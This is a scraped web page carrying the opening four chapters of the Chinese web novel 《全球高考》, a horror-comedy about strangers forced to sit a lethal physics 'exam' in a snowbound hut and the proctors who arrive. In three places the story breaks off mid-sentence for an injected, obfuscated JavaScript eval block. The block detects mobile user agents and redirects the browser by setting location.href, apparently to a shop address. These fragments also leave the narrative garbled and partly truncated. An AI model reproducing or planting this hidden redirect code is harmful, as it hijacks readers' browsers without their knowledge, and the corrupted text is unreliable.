《全球高考》 1. 送命题 雪下了四个小时,没有要歇的迹象。 这是一间荒山小屋,墙上挂满了猎具,虫蛀的长木桌摆在正中,桌边围坐了一圈人。男女老少都有,还夹带了一个老外。 屋里很冷,所有人都沉着脸打抖,却没人起来生火,因为桌上的老式收音机正在说话。 【现在是北京时间17:30。】 【离考试还有30分钟,请考生抓紧时间入场。】 收音机声音沙哑,带着上个世纪五十年代特有的电流声,孜孜不倦地闹着鬼。 这已经是它第二次播报了,第一次是在三小时前,说【欢迎来到003712号考场】,直接把一个老太太欢迎昏过去,到现在都没缓过来。 而另一个不听指令、企图强拆收音机的人……拆完电池盒就中邪一样冲出去了,五分钟后尸体跟着屋顶的积雪一起滑了下来。 那之后,再没人敢碰过这东西。 【请没入场的考生尽快入场,切勿在外逗留。】 整段话循环播放了三遍,屋内一片死寂。 许久之后,有人轻声问:“又发指令了……怎么办?它怎么知道有人在外面逗留?” 众人脸色难看,没人回答。 又过片刻,坐在桌首的人很不耐烦地问:“所以谁还没进来?” 这人烫了一头微卷的土黄鸡毛,身材精瘦,个头中等。两条膀子纹成了动物园,看不出是驴是狗,但架势挺吓人的。 旁边的人瑟缩了一下,答:“老于。” “哪个老于?” “进门就吐的酒鬼,带着儿子和外甥的那个。” 答话的人朝墙边努了努嘴,小心翼翼比了个“噤声”的手势。 墙边有一张破沙发,躺着那位外甥。 那是一个二十七八岁的青年,个子很高,模样极为出挑,扶着上门框低头进屋的时候,跟身后的山松白雪浑然成景。不过他从进门起就臭着脸,显得有点倨傲。 据喝大了乱抖户口本的老于说,外甥名叫游惑。 “他刚回国没俩月,趁着国庆假抽了个空,来哈尔滨找我。本来明早就要送他去机场的,哎……都怪我!没把住量!” 老于一顿送行酒把自己喝飘了,仗着夜里人少,在大街上蛇行。 儿童医院前面的人行道上,不知谁放了一堆银箔纸钱,老于蛇过去的时候没稳住,一脚踩在银箔堆里,然后天旋地转,连儿子带外甥打包送到了这里。 进这间小屋的时候,他还没缓过那阵晕劲,“哇”地吐了游惑一身。吐完老于就吓醒了酒,诚惶诚恐,不敢跟游惑说话。 来这里的人都是青天白日活见鬼,毫无准备。只有那位叫Mike的老外背包里有套干净衣服。 游惑换上之后就远离众人,窝在沙发上再没吭声,似乎睡过去了。 越过挡脸的手臂,可以看到他右耳戴着一枚耳钉,映着屋内的油灯和屋外的雪色,亮得晃眼。 · 天应该是黑了,但漫山遍野都是雪,衬得外头依然有亮色。 一个挺着大肚子的女人惊慌地看向橱柜,手机时间在这里变得混乱,只有橱柜顶上的钟能告知时间:“快6点了,那个老于会不会……” 咣咣咣! 话没说完,屋门突然被拍响。 众人惊了一跳,瞪眼看过去。窗户上的雪被人抹开,老于那张大脸抵在玻璃上,用夸张的口型说:“是我啊,开门。” 众人微微松了一口气。 还好,赶在6点前回来了,没有送命。 进屋的两个雪人正是老于和他儿子于闻。 “外面怎么样?”大家急忙问。 老于原地抖了一会儿,用力搓打着自己的脸,又打了打儿子,终于暖和了一点:“我兜了一大圈,没用!不管往哪儿走,不出十分钟,一准能看到这破房子横在面前,走不出去!” “有人吗?或者别的房子?” 老于丧气道:“没有,别指望了。” 众人一脸绝望。 手机没信号,时间混乱,树都长一个样,分不出东南西北,什么都没有。 这就是他们现在的处境。 哦,还有一个收音机,吵着闹着让人考试、考试。 考你娘的试。 老于前脚进门,收音机后脚就响起了沙沙声。 一个下午的时间,足以让大家产生条件反射。众人当即闭嘴,看向收音机。 【考生全部入场,下面宣读考试纪律。】 刚入场的老于和于闻相继咽了口唾沫。 【考试一律在规定时间内进行。】 【考试正式开始后,考生不得再进入考场。考试中途不得擅自离开考场,如有突发情况,须在监考者陪同的前提下暂时离开。】 【除了开卷考试以外,不得使用手机等通讯工具,请考生自觉保持关机。】 【考试为踩点给分,考生必须将答案写在指定答题卡上(特殊情况除外),否则答案作废。】 收音机说完,再度归为寂静。 片刻之后,屋子里“嗡”地掀起了一阵议论。 “监考是谁?” “还有开卷?” “答题卡又是什么东西?” “还研究起来了,你们疯了”纹身男摸着一把瑞士军刀,不知道在憋什么主意。 “不然怎么办?”大肚子女人哭过的眼睛还没消肿,轻声说:“别忘了之前那个……” 她指了指屋顶。 纹身男想起那具尸体,脸也白了。他僵了片刻,终于接受现状,捏着瑞士刀冲这边招了招:“小鬼。” 于闻左右看了看,指着自己的鼻子:“你……叫我?” “对,就你,来,坐这。”纹身男拍着离他最近的空位。 “我他……”于闻转头看了一眼他哥,发现他哥依然死在破沙发上。他很识时务地咽下脏话,说:“我18。” 更何况那纹身男顶多也就二十五六岁,哪来的脸管别人叫小鬼。 “称呼无所谓!”纹身男有点不耐烦,“坐过来,我问你,你是学生么?” 于闻:“是的吧。” 纹身男皱着眉说,“你会考试么?” 老于条件反射地说:“他会啊!他就是考试考大的!” “你可闭嘴吧。”于闻对着酒鬼老子总是不客气。 但他呵斥完亲爸一转头,发现屋里所有人都眼巴巴地盯着他。 于闻:“……” 他斟酌了一下用词,说:“我6月刚高考完,疯球了三个多月,已经……嗯已经不太会考试了。” 大肚子女人惊慌了一下午,勉强冲他笑了一下:“那也比我们强。你才三个月,我们早就忘光了。” “不是。”于闻觉得有点荒诞,连害怕都忘了,“你们平时不看小说不看电影吗?闹鬼时候的考试能是真考试?那肯定就是个代称!” “代什么?” 于闻翻了个白眼:“我哪知道,反正鬼片都是死过来死过去的,谁他妈会在这里考你数理化啊?这房子教育部建的?” 他说还觉得不过瘾,意犹未尽加了句:“呵。” 那位死在沙发上的表哥终于被他“呵”醒了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730152|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>于闻转头看过去。 就见游惑坐起身,半睁着眼扫过众人,然后闷头揉按着脖子。他踩在破木地板上的腿很长,显得沙发更加矮旧。 时间仿佛是掐算好的,在他终于放下手抬头的时候,橱柜上的钟“当当”响起来。 6点整。 收音机的电流声又来了。 【现在是北京时间18:00,考试正式开始。】 【再次提醒,考试开始后,考生不得再进入考场,考试过程中不得擅自离场,否则后果自负。】 【考试过程中如发现违规舞弊等情况,将逐出考场。】 【其他考试要求,以具体题目为准。】 它哔哔着威胁了一通,停顿了两秒,说: 【本场考试时间:48小时。】 【本场考试科目:物理。】 于闻:“……” 【现在分发考卷和答题卡,祝您取得好成绩。】 收音机说完最后一句,又死过去了。 于闻:“……” 狗日的考卷和答题卡不是应该先发吗??? 大肚子女人低低叫了一声,惊慌地说:“这面墙!” 她说的是火炉子上面那堵墙,之前这块墙面除了几道刀痕,空空如也。现在却多了几行字—— 题干:一群旅客来到了雪山…… 本题要求:每6个小时收一次卷,6小时内没有踩对任何得分点,取消一人考试资格,逐出考场。 这两行字的下面是大段空白,就像考卷上留出的答题区域。 这叫什么题目?问什么答什么? 众人都很茫然。 别说6小时,就是600个小时,他们也不知道得分点怎么踩。 就在这时,一阵冷风裹着雪珠灌进屋,劈头盖脸砸得大家一哆嗦。 他们循风看过去,就见游惑不知什么时候走到了窗边,打开了半扇窗。 “你干什么?!”纹身男怒道。 游惑一手插在长裤口袋里,另一只手正要往外伸,闻言回头瞥了一眼。可能是他目光太轻的缘故,总透着冷冷的嘲讽和傲慢。 纹身男更不爽了:“开窗不知道先问一声?万一出事你担得起?” “你谁?” 游惑丢下两个字便不再理他,兀自把左手伸出去。 老于忍不住了,拱了拱儿子,低声怂恿:“你问一下。” 不知道为什么,老于总显得很怕这个外甥。 于闻喊道:“哥,你在干嘛?” 游惑收回左手,朝他晃了一下,总算给了个答案:“试试逐出考场什么后果。” 众人倒抽一口冷气,因为殷红的血正顺着他的手指流向掌心,因为皮肤白的缘故,显得愈发触目惊心。 他随意擦了一下,又在窗台上挑挑拣拣,拿起一个生锈的铁罐丢出窗外。 众目睽睽之下,铁罐在瞬间瓦解成粉,随着雪一起散了。 这时再看墙上的“本题要求”,每个人的目光里都充满了惊恐。 墙边。 游惑把窗户重新关好,目光一一扫过他们的背影。 唯一跟考试沾得上边的于闻……他再了解不过。 这位同学高中三年周旋于早恋、聚众被殴、翻墙上网和国旗下批·斗,公务繁忙,还要抽空应付高频率突发性中二病,目前尚未脱离危险期。 物理? 指望他不如指望狗。 至于其他人…… 老、弱、病、孕,还有小流氓。 五毒俱全。 开局就是送命题。 2. 监考官 游惑把墙角装炭的铝盆踢过去,老于小心翼翼地生了火,映得炉膛一片橙红。 于闻蹲在炉边,垂头丧气地往里扔木枝。 火光摇晃,他闷闷地看了一会儿,觉得临死前有必要找人聊聊感受。结果一抬头,就见他哥站在旁边烤手,一副兴致缺缺的冷淡模样。 于闻考虑了两秒,决定还是安静地死。 · “诶,那什么。”老于突然出声。 游惑朝那边掠了一眼。 “不知道称呼你什么。”老于拍着大肚子女人的肩:“你挺着肚子呢,怎么能在这发呆挨冻呢?太不讲究了,过去烤烤。别受了寒气,回头弄个两败俱伤。” 大肚子女人闻言愣了一会儿,眼泪啪啪往下掉。 老于吓一跳:“干什么,怎么了这是?” 女人低低哭着:“有没有命生还不知道呢……” 话虽如此,她还是挪了椅子坐到火炉边。 女人哭了一会儿,终于停了。她鼻音浓重地冲老于说:“对了,叫我于遥就好。” 老于努力哈哈了两声,宽慰道:“没想到还是个本家,我看你跟我外……” 他余光瞥到游惑在看他,舌头抡了一圈改道:“……儿子差不多大,挺有缘的,回头出了这鬼地方,我们给你包个大红包冲冲晦气,保证母子平安。” 纹身男阴沉着脸咕哝了一句:“都他妈这时候了,还有兴致聊天呢……操!” 众人闻言面色一僵,四散开来,在屋子各处翻翻找找。 只不过其他人是奔着题目去的,纹身男奔的是各式防身猎具。 游惑站没有走开,他烤暖了手,在写着题目的墙面上轻抹了几下,又低头拨着炉台上的杂物。 那上面搁着几个瓶瓶罐罐,一堆发黑的硬币,几块形状奇怪的卵石,七零八落的鸡毛,甚至还有不知哪个世纪遗漏的发霉奶嘴。 于闻看游惑没走,也没敢乱动。 他记起高考前老师叮嘱过的话,让他们没有头绪的时候就多读几遍题干。于是他就杵在墙壁前,反复咕哝着。 “一群游客来到雪山……” “游客……” “雪山……” “嘶……” 念完一回神,发现屋里格外安静,所有人都屏息看着他。 于闻:“……我就念念。” 老于有着传统家长都有的毛病,人多的时候,希望孩子当个猴儿:“想到什么了吗?说说看?” 于闻翻了个白眼:“没有。” 众人满脸失望,又继续翻箱倒柜。 只有纹身男不依不饶,他怀疑地打量着于闻:“真没有?别是想到什么藏着掖着吧?” 于闻:“我干嘛藏着掖着?” 纹身男盯着他的眼睛看了一会儿,弄得人很不爽快。 “行吧,最好是没有。” 这小流氓可能威胁人威胁惯了,句句不讨喜。说完又转头去翻猎具了。 于闻无声地伸出一根中指,心说:傻比。 此同学高考前刚成年,正处于自恋的巅峰期,觉得普天之下尽傻比,亲爸爸都不能幸免,唯一的例外就是游惑。 其实他跟游惑熟悉起来,也就这两年的事。老于说游惑之前在国外待着养病,后来时不时会回国一趟。每次回来,都会去他家小住两天。 两天两天地加起来,实际也没多长。 但于闻凭借着从未用在学习上的钻研精神,还是了解到了一些事。 比如游惑的记忆力有点问题,他对某几年发生的事碰到的人毫无印象。在国外养病也是因为这个。 再比如家里几个长辈都有点怕他。 这点于闻真是百思不得其解,他问过老于几回,老于说他成天不干正事净瞎想。 时间久了,他又觉得这很正常。 毕竟连这屋里刚见面的小流氓都有一点怕游惑。 仗着他哥在旁边,于闻本打算跟纹身小流氓叫个板,气他两回。结果一回头,发现游惑早没了踪影。 于闻:“……人呢?” 大肚子的于遥问:“找谁啊?” 她身体不方便频繁移动,没法满屋子翻东西。 于闻:“我哥。” 于遥:“他往那边去了。” 她冲屋子另一头努了努嘴。 · 这间屋子其实不算小,一楼连客厅有三个房间,边角的阴影里还有一个老旧的木梯,连着上面的小阁楼。 实在是堆放的东西太多,又塞了这么多人,才显得昏暗又拥挤。 一层的卧室门都锁着,锁头锈迹斑驳,构造古怪。 更怪的是,一间门上挂着公鸡,一间挂着母鸡。 那两只鸡被放干了血,羽毛却梳得很整齐,头被掰着冲向同一个方位,看着有种怪异的惊悚感。 于闻过来的时候,游惑就站在门边的阴影里。 比鸡吓人。 “哥你手里摸着个什么东西?”于闻搓了搓鸡皮疙瘩。 “斧头没见过?”游惑懒懒地抬了一下眼。 “见过……” 于闻心说就是见过才慌得一比,你好好的为什么拎斧子? 拎也就算了,游惑是松松散散地捏着那个小型手斧,另一只手的拇指毫不在意地摸着刃。 “屋里转一圈,想到线索没?”他头也不抬地问。 “啊?”于闻有点茫然,“应该想到什么?” 游惑看向他。 他的个子高,看人总半垂着眼。眸子又是清透的浅棕色,眼皮很薄,好看是好看,但不带表情的时候,有种薄情寡义的距离感。 别的不好说,反正感受不到亲情。 于闻怂得不行:“你举个例子。” 游惑:“跟雪山相关的题有哪些?” 于闻:“……不太知道。” 游惑:“你没上学?” 于闻:“上了……” 游惑:“上给狗了?” 于闻:“学了点技巧……三长一短选最短,三短一长选最长,两长两短就选B,参差不齐全选C。物理基本靠这个。” 游惑:“……” 于闻:“还有一点至关重要。” 游惑:“……” 于闻:“学会放弃。” 游惑:“滚。” 于闻怀疑再说下去,斧头会插在自己脑门上,于是讪讪闭了嘴。 他亲爱的表哥总算收回眼神,懒得再看他。 过了一会儿,于闻没忍住,又憋出一个问题:“哥,你拿这个干什么?” “找笔。”游惑说完,略带嫌弃地冷嗤一声,把那巴掌大的小型手斧丢进了一只废桶。 于闻盯着斧子:“找什么玩意儿???” 游惑说:“笔。” 于闻觉得他和游惑之间肯定有一个疯了。 不过游惑没有多搭理他,说完就沿着木梯爬上了阁楼。 · 挑挑拣拣,时间居然走得格外快。 墙上红漆的数字总在不经意间变换模样,从6变成5,又变成4。 第一次收卷的时间越来越近,众人也越来越焦躁。找不到头绪,没有线索,还有个堪比高考倒计时的东西悬在那里。 高压之下,总会有人病急乱投医。 游惑从阁楼上下来的时候,大肚子女人于遥正用手蘸着一个小黑瓶,要往答题墙上写东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秃顶被扔在破沙发上,游惑把那瓶根本不知是什么玩意儿的“墨水”重新盖上。 拧紧瓶盖的瞬间,屋里所有人都听到了一声轻轻的叹息。 “谁?!” 众人寒毛都竖起来了。 答题墙最后一点污渍消失后,原本空白的地方突然多出了一行字: 违规警告:没有使用合格的考试文具,已通知监考。 监考官:001、154、922 公鸡打鸣声骤然在屋内响起。 于闻差点儿吓得一起打鸣。他一把抓住他哥的袖子,缩头缩脑朝声音来源看过去。 就见那只挂在门上的公鸡脖子转了一个扭曲的角度,死气沉沉的眼珠瞪着大门。 游惑抬脚就要往大门边走,于闻死狗一样坠在袖子上,企图把他拖住。最终,他被一起带到了大门边。 窗外,狂风卷席的漫天大雪里,有三个人影悄无声息地到了近处。 为首的那位个子很高,留着黑色短发,穿着修身大衣。即便只有轮廓也能看出身材挺拔悍利。他走到门口的时候,一阵风斜刮而过,雪雾迷了眼。 他低头轻眨了一下,雪粒从眉目间滑落。再抬眼的时候,乌沉沉的眸子映着一点雪色,刚好和屋内的游惑撞上。 游惑几乎是无意识地摸了一下耳钉。 于闻在他耳边用蚊子哼哼的音量轻轻问:“你不会认识吧?” 游惑皱了皱眉,低声道:“忘了。” 3. 关禁闭 从所站的位置来看,为首的男人应该就是监考官001。 他就像个避雪的来客,一边打量着屋子,一边摘着黑色皮质手套,笑了一下说:“还不错,知道生火。外面雪有点大,过来一趟挺冷的。” 没人笑回去。 屋里大半的人都往后缩了一下。 他就像是没看见这种反应一样,自顾自走到炉边,借火烤手。刚才的笑意依然停留在他唇角,带着一股懒洋洋的戏谑。 衣肩和领口落的雪慢慢消失,留下一点洇湿的痕迹,又慢慢被烘干。 众人盯着他,却没人敢开口。 铁罐扔出去都成了粉,可他们跋涉而来,连皮都没破。 于闻藏在游惑身后抖,连带着游惑一起共振。 这没出息的用气声问:“他们还是人吗?” 那位001先生似乎听见了,转头朝游惑看了一眼。 他的眼珠是极深的黑色,掩在背光的阴影里,偶尔有灯火的亮色投映进去,稍纵即逝。但那股戏谑感依然没散。 游惑面无表情地看着他,摁住了乱抖的背后灵,平静地问:“能闭嘴吗?” 于闻不敢动了。 · 直到那位001先生烤完了火,重新戴上手套,留在门口的监考官才用公事公办的口吻说:“我们是本次的监考官,我是154号,刚刚收到消息,你们之中有两个人没有按规答题。” 大肚子于遥脸色惨白,本来就站不住,此时更是要晕了。 她就像个水龙头,眼泪汩汩往外涌。 至于那位捆在沙发上的秃顶……他已经不敢呼吸了。 “但是……” 有人突然出声。 154号监考官停下话头,朝说话人看过去。 于闻猛地从游惑背后伸出头。 令人意外,这个不怕死问话者竟然是他的酒鬼老子,老于。 “最……最开始也没规定我们要用什么答题啊。”老于被看怂了,结结巴巴地说。 “一切规定都有提示。”154说。 “提示在哪?” 154号面无表情地看着他:“我不是考生。” “可、可我们不知道啊!不知者不罪……”老于越说声音越细,到最后就成了蚊子哼哼。 154号:“这就与我们无关了。” 154号顶着一张棺材脸,继续公事公办地说:“我们只处罚违规的相关人员,其他人继续考试。” 他说着,摸出一张白生生的纸条,念着上面字迹潦草的信息。 “据得到的消息,违规者是一名中年男子和一名小姑娘——” 他转头看了001先生一眼,又转回来看向纸条,停了几秒,绷着脸重复了一遍:“一名中年男子和一名女士。两名违规者跟我们走一趟。” 在他说话的功夫里,另一位监考官922号已经一把拎起沙发上的秃顶男人,拖死狗一样把他拖到了门口。 屋门被打开,冷风呼啸着灌进来。 雪珠劈头盖脸,屋里人纷纷尖叫着缩到炉边,好像被雪珠碰一下就会灰飞烟灭似的。 众人眼睁睁地看着922号监考官带着秃顶跨出屋门,忽地消失在了风雪中。 徒留下秃顶惊恐的嚎叫和地上的一片水渍。 154号继续顶着棺材脸,说:“还有一位小,嗯,一位女士在……” 他抬起眼,皱着眉在屋里扫视了一圈。 老于和两位好心的老太太趁乱把于遥挡在身后,却抖得像筛糠。 154号的视线刚要落在那处,001先生朝游惑抬了下巴,“另一个是他,带走。” “谁?” 154号低头看了眼纸条。 上面凌厉潦草的字迹明晃晃地写着——小姑娘。 154号一脸空白地看着游惑。 被看的游惑拧着眉盯着001先生,面容冷酷。 154号毫不怀疑,如果这位冷脸帅哥手里有刀的话,他们老大的头已经被剁了。 “这——” 他刚要开口,下指令的001先生翻起大衣衣领,转身走进了风雪里。 …… · “操!哥!!” “狗日的!!你们怎么不讲道理啊!!”老于蹦起来。 “不是他!是我啊!不是他——”于遥茫然两秒,连忙拨开人往外挤。 结果就看见屋门敞着,沙粒状的雪被风吹搅着,一捧一捧扑进来。 门边哪还有什么人影。 那三位监考官带着秃顶男人和误抓的游惑,早就无声无息消失了。 “别喊了!人都没影了,有本事追去!”纹身男啐了一口,大步走过去把门拍上了,又挂了两道锁。 屋里登时安静下来,老于满眼血丝,气得一拍大腿,重重坐在地上。 于遥跌回椅子里,哭得更厉害了。 从进了这屋子起,她就没停过,快把一辈子的眼泪哭完了。 于闻白着脸在门口僵立半晌,又转头捞起他爸,皱着眉低声说:“我哥给我留话了。” “什么?”老于惊住了。 那监考官速度快得不像人,游惑还有时间留话? “让我找把刀。”于闻说。 “什么刀?” 于闻缓缓摇了一下头,没回答,而是转头看向那面答题墙。 老于跟着看过去。 他先是漫无目的地扫了一圈,最后目光终于定在了一处。 那是几道细细的刀痕。 “谁划的?”老于愣了一下。 于闻:“之前就有,显示题目之前就有,我看到了。” 他又回味了一下,终于明白他哥之前的举动了。 “我知道了。” 老于很懵:“又知道什么了你?” “哥他之前一直说要找笔,但手里翻的却是斧子和猎具。”于闻看向墙面的刀痕,说,“刚才监考官不是也说了么,所有的规矩都有提示,那些刀痕就是。” 墨汁无法在上面留下痕迹,那柄刀可以。 所以它是规定的笔。 老于眼睛一亮,咕哝了一句:“果然还是厉害的。” 于闻:“啊?” “那咱们就找刀去!也算帮点忙。” 老于刚要转头隆重宣布这个消息,就被于闻死死按住了嘴。 “不不不别!” 于闻假装在安抚老于,啪啪啪猛拍老于的背,一边说:“放心放心,我哥一定不会有事!” 老于血都要被他打出来了。 他又用极低的声音说:“哥说,刀被藏了。” · 雪下得更大了。 风没个定数,四面八方地吹。到处都是雾蒙蒙的一片,看不清山和树影的轮廓,但远处有灯。 游惑冷着脸走在雪里。 他被推出门的瞬间,身后的屋子就没了踪影,想回也回不去。 不过有一点可以证实——在监考官的陪同下,他们不会在雪里粉身碎骨。 但比起雪,监考官更让他糟心。 秃头还在号丧,搞得他像个送葬的。好在路不算很长,在冻死之前,他总算看到了房子。 那是一座小洋楼,孤零零地被树林包围着。 一般来说,鬼片就喜欢盯着这种房子拍。 “到了。”154号把游惑往屋里推了一下。 灯光映照下,游惑那张好看的脸可能冻硬了,薄唇紧抿,皮肤冷白,薄情寡义的味道扑面而来。 这小楼也不知是哪个鬼才搞的装修,一层到处是壁画和雕塑,大大小小填满了角落,随便一转头,就能看到一张白生生的僵硬人脸。 秃头一进屋就坐地上了。 眼看着又要晕开一滩水迹,922号毫不犹豫把他拖进了走廊。 秃顶的哭叫从那边传来:“干什么?我错了我错了——我再也不乱来了!你要干什么?” “怕么?” 一个低沉的声音突然在耳边响起来。 那位001先生正站在游惑旁边摘手套,漫不经心地问了一句。 游惑看了他一眼,径直掠过他走了进去。 154号看了一眼游惑,又看了一眼001。 “看我干什么?”001监考官冲走廊一抬下巴,懒洋洋地说:“快去,有人迫不及待。” · 小洋楼看上去不大,那条走廊却很长。 长得让人怀疑是不是碰到了鬼打墙,怎么都走不出去。 好在并不是真的没有尽头。 几分钟后,922在前面停住了脚步,打开了一扇门,把秃头推进去,然后上了锁。 游惑终于冷脸开了口,问:“怎么处罚?” 154号愣了一下,说:“关禁闭。” 游惑:“……” 他觉得这群人可能玩过家家上瘾。 他看了154号一眼。 154:“没骗你,确实是关禁闭。” 不知道为什么,他一个监考官,在说这个话的时候声音居然一改常态,有一点紧绷。 “你在害怕。”游惑说,“你被关过?” 154皱了一下眉:“我怕什么,你比较需要害怕。” 这话刚问完,他感觉脚下有点怪,鞋底的触感不一样,似乎变得有点……黏腻。 紧接着,他又听见了一点细微的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730154|189627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水声。 他低头一看,就见一片浓稠的水从一扇门底下渗出来。 那扇门关着秃头。 愣了两秒,他才反应过来,那是血。 没过两秒,秃头的叫声隔着门穿了出来。因为隔音很好的缘故,显得闷而遥远。但即便这样,依然能听出凄厉和崩溃。 “放心,死不了。”154说着,打开了对面的另一扇门,趁着游惑出神,把他推进了门里:“抓紧时间。” 说完,他嘭地关上了门,在外面咔嚓咔嚓地上锁。 游惑听见他的声音从门缝里模模糊糊地传进来:“拿错文具而已,不至于那么狠。禁闭室只会让你反复经历这辈子最恐惧的事情,3个小时之后我来接你。” · 小洋楼2层的一间屋子里,001号监考官坐在一张扶手椅里,一手支着下巴。 桌上有个金属制的鸟架,上面站着一只通体漆黑的鸟。 他的眸光落在窗外的雪林里,手指正拨弄着鸟头,脸上没什么表情,显得有些百无聊赖。 922号监考官正在疯狂抱怨:“踏马的一路上尿我四回,我说一句他一个尿惊,说一句他一个尿惊!” 154号进来,手里的纸条抖得哗哗响:“小姑娘!你自己写的小姑娘!” 他那张棺材脸终于绷不住了,如果借他一百个胆子,他就敢把那张小纸条怼到001的脸上去。 可惜他不敢。 不过他俩骂了一会儿后发现,扶手椅里的人毫无回应,依然目光沉沉地落在窗外。 “老大?老大?”922试着叫了两声,最后不得不提高音量:“秦究!” 那位001先生终于回过神来。 922把154往前怼了一步,自己溜得八丈远。 154:“……” 我日。 秦究目光在他俩之间来回扫了一圈:“走神了没听清,重抱怨一遍?” 154摇头说:“算了算了。” 922讪讪上前:“老大……你干嘛了?” 秦究挑眉道:“你这是什么没头没脑的话?” “没……我就是感觉你好像心情不好。”922说。 “有么?” “有……一点。”922斟酌道:“因为被拽过来监考?” “不是。” “那你怎么……”154咕哝了一句。 “声音高点,后半句没听清。”秦究瞥了他一眼。 他漆黑的眸子盯着人看的时候,总让人觉得不安,哪怕154和922跟了他快三年了,也依然不太习惯。 154又往后缩了半步,清了清嗓子说:“我说……您心情很好,干嘛还拽个没犯规的人过来。这有点违反规定吧。” 秦究说:“我在遵守规定,他手上沾了那’墨水’你没看见?” 154愣了一下:“哦,我没细看……” 秦究拨着黑鸟的头,说:“况且……” 922和154竖起耳朵。 然而他们这位老大况且了有十分钟吧,也没且出什么下文。 又过了半天,他才说:“算了,没什么。” “……” 两位下属一口气差点儿没上来,又不敢造反,灰溜溜地走了。 · 小洋楼的3楼有个小阁楼,里面有一墙的白屏幕,每个屏幕都对应一个禁闭室。 禁闭室里的人经历的场景都会在这上面投映出来,某种程度来说,这里能看到很多人的秘密。 不过此时,这间屋子上着厚重的锁,没人过来窥看。 有两个屏幕正亮着光,一个是秃头那间,一个是游惑那间。 秃头男人所在的那个屏幕,镜头血色模糊,隔着那层红色,隐约可以看见一个吊着肩膀的人影,和一片惨白的脸。 而游惑的那个屏幕,却一片空白。 那个屏幕显示的就是房间最原本的模样,有三面镜子,一个挂钟,一张木桌和一个木凳,没了。 · 三个小时后,154号拎着钥匙来开禁闭室的门。 他做好了被胳膊大腿飞一脸的准备,结果锁一撤,他就愣住了。 因为禁闭室里什么也没有,而被关禁闭的那位冷脸帅哥,已经趴在桌上睡着了。 他手肘挡着脸,就像是在真正的高中课堂上打了个盹儿。 154进门的声音终于吵醒了他。 他皱着眉半睁开眼,看了154一眼又重新闭上,带着满脸的起床气和不耐烦缓了一会儿,才直起身靠在椅背上,问:“关完了?” 154:“………………………………” 要不您再睡一会儿????? 4. 二进宫 游惑从禁闭室出来,走廊一片安静。 对面的秃头没了声音,房间渗出来的血流淌得到处都是。 他略带嫌恶地皱起眉,让开血迹往外走。 没走多久,他又忽地停住脚。 一种诡异的、被窥伺的感觉如影随形,就像有什么东西勾头看下来,毫无生命机质的眼睛静静地盯着他。 游惑抬起头。 头顶是白色的天花板,除了一盏晦暗的灯,什么也没有。 · “哎呦,操!差点儿违规睡过了,要死的棺材脸居然不——”有人急步从楼上下来,刚拐过走廊,嘀嘀咕咕声就猛地刹住。 “你!咳,你出来了?” 游惑从天花板收回视线。 来人是监考官922号。 他看到游惑,立刻换回公事公办的语气,说了句“借过”便大步走到走廊深处,打开那扇汩汩流血的门。 片刻后,秃头被放了出来。 922架着瘫软的中年人,走得像个偏瘫。 “你怎么还在这?”他问。 游惑插着口袋懒懒地说:“等你,我对变骨灰没什么兴趣。” 922:“154呢?” 游惑:“不知道。” “个要死的假正经又偷懒去了?” 922在嗓子底咕哝了一句。 他把逐渐下滑的秃头往上拎了拎,也没工夫纠缠,朝门外偏了偏头说:“走吧,送你们回考场。” · 小洋楼二层。 秦究抱着胳膊,懒洋洋地斜倚在窗边,眸光垂落。 房间里的灯光投映在树林里,922带着两个考生从光影中穿过,很快淹没在雪雾里。 秦究眯起眼睛,盯着那处有些走神。 黑鸟突然低哑地叫了两声。 又过了一会儿,秦究才“啧”了一下直起身。 他走回桌边,拨弄着黑鸟尖尖的喙,顺手给它喂了一粒食,说:“是不是好像少了什么?” 黑鸟惟妙惟肖地嘲了一声:“呵。” 秦究:“一位监考官?” 黑鸟:“呵。” 秦究敲了鸟嘴一下,开门下楼。 没走两步,黑鸟扑着翅膀跟了过来。 他在大厅环视一圈,拐进了那条走廊。其中一间禁闭室隐约传出椅子挪动的声音,正是刚刚关过游惑的那间。 秦究挑着眉,好整以暇地敲了三下门:“有人?” 里面椅子重重砸了几下。 秦究:“我方便进去么?” 椅子快把地砸塌了。 秦究卸了锁。 门一开,露出了失踪的154号监考官。 他正累撅在椅子里,两手背在椅子后面,身上捆着绳,嘴里塞了个偌大的纸团。 纸团上,有人用马克笔冷静地写了几个字: 滚你妈的小姑娘。 秦究忽然笑了。 154正要带着椅子蹦一下,提醒秦究先把他放了。 结果看到笑又有点怂,把椅子轻轻放下了。 好在那句骂人的话,秦究没欣赏太久。 片刻之后,154总算甩开绳子恢复了自由。 他揉着被勒红的手腕,痛斥:“我做监考官三年了,从来没见过这样的考生!人家哭天抢地,他睡觉?人家诚惶诚恐不敢惹监考,他上来就给我捆了好几道?” 秦究撑着桌子听完,懒懒地说:“骂得还挺押韵,继续。” 154:“……” 如果可以,他想把纸团上的“滚你妈”展示给老大。 “身为监考,被考生反捆在禁闭室,丢人吗?”秦究眯着眼睛问。 